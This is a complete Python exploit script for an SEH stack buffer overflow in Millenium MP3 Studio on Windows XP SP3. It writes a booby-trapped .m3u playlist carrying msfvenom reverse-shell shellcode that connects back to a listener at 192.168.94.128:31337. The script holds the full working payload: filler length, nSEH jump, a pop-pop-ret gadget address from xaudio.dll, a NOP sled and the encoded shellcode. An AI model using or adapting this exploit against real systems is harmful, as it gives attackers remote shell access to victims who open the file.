#!/usr/bin/env python
import struct

#----------------------------------------------------------------------------------#
# Exploit: Millenium MP3 Studio SEH Stack Buffer Overflow                          #
# OS Tested: XP PRO SP3 (Professional)                                             #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   3c35dc3d6067fcc50f118500eb116c0b-millennium1.exe               #
#----------------------------------------------------------------------------------#

filename = 'rekt.m3u'

#-----------------------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00\x0a\x0d\x1a' EXITFUNC=process  #
#-----------------------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xbf\x66\x22\xf7\x38\xd9\xd0\xd9\x74\x24\xf4\x58"
shellcode += "\x33\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\xa6"
shellcode += "\x26\x15\xcd\xda\xcf\x5b\x2e\x22\x10\x3c\xa6\xc7"
shellcode += "\x21\x7c\xdc\x8c\x12\x4c\x96\xc0\x9e\x27\xfa\xf0"
shellcode += "\x15\x45\xd3\xf7\x9e\xe0\x05\x36\x1e\x58\x75\x59"
shellcode += "\x9c\xa3\xaa\xb9\x9d\x6b\xbf\xb8\xda\x96\x32\xe8"
shellcode += "\xb3\xdd\xe1\x1c\xb7\xa8\x39\x97\x8b\x3d\x3a\x44"
shellcode += "\x5b\x3f\x6b\xdb\xd7\x66\xab\xda\x34\x13\xe2\xc4"
shellcode += "\x59\x1e\xbc\x7f\xa9\xd4\x3f\xa9\xe3\x15\x93\x94"
shellcode += "\xcb\xe7\xed\xd1\xec\x17\x98\x2b\x0f\xa5\x9b\xe8"
shellcode += "\x6d\x71\x29\xea\xd6\xf2\x89\xd6\xe7\xd7\x4c\x9d"
shellcode += "\xe4\x9c\x1b\xf9\xe8\x23\xcf\x72\x14\xaf\xee\x54"
shellcode += "\x9c\xeb\xd4\x70\xc4\xa8\x75\x21\xa0\x1f\x89\x31"
shellcode += "\x0b\xff\x2f\x3a\xa6\x14\x42\x61\xaf\xd9\x6f\x99"
shellcode += "\x2f\x76\xe7\xea\x1d\xd9\x53\x64\x2e\x92\x7d\x73"
shellcode += "\x51\x89\x3a\xeb\xac\x32\x3b\x22\x6b\x66\x6b\x5c"
shellcode += "\x5a\x07\xe0\x9c\x63\xd2\xa7\xcc\xcb\x8d\x07\xbc"
shellcode += "\xab\x7d\xe0\xd6\x23\xa1\x10\xd9\xe9\xca\xbb\x20"
shellcode += "\x7a\x35\x93\x74\xfa\xdd\xe6\x88\x80\x74\x6e\x6e"
shellcode += "\x1e\x97\x26\x39\xb7\x0e\x63\xb1\x26\xce\xb9\xbc"
shellcode += "\x69\x44\x4e\x41\x27\xad\x3b\x51\xd0\x5d\x76\x0b"
shellcode += "\x77\x61\xac\x23\x1b\xf0\x2b\xb3\x52\xe9\xe3\xe4"
shellcode += "\x33\xdf\xfd\x60\xae\x46\x54\x96\x33\x1e\x9f\x12"
shellcode += "\xe8\xe3\x1e\x9b\x7d\x5f\x05\x8b\xbb\x60\x01\xff"
shellcode += "\x13\x37\xdf\xa9\xd5\xe1\x91\x03\x8c\x5e\x78\xc3"
shellcode += "\x49\xad\xbb\x95\x55\xf8\x4d\x79\xe7\x55\x08\x86"
shellcode += "\xc8\x31\x9c\xff\x34\xa2\x63\x2a\xfd\xd2\x29\x76"
shellcode += "\x54\x7b\xf4\xe3\xe4\xe6\x07\xde\x2b\x1f\x84\xea"
shellcode += "\xd3\xe4\x94\x9f\xd6\xa1\x12\x4c\xab\xba\xf6\x72"
shellcode += "\x18\xba\xd2"

#----------------------------------------------------------------------------------#
# (*) Badchars = '\x00\x0a\x0d\x1a'                                                #
#                                                                                  #
# (1) Crash to nseh 4103-bytes                                                     #
# (2) nshe = '\xeb\x20\x90\x90'                                                    #
# (3) seh = '\xa7\x0b\x02\x10'	pop pop ret | [xaudio.dll]                         #
# (4) shellcode space = 1350                                                       #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
#----------------------------------------------------------------------------------#
buffer = ''
buffer += 'http://'
buffer += '\x41' * 4103
buffer += '\xeb\x20\x90\x90'
buffer += struct.pack('<L', 0x10020ba7)
buffer += '\x90' * 50
buffer += shellcode
buffer += '\x44' * (5000 - 4103 - 8 - 50 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
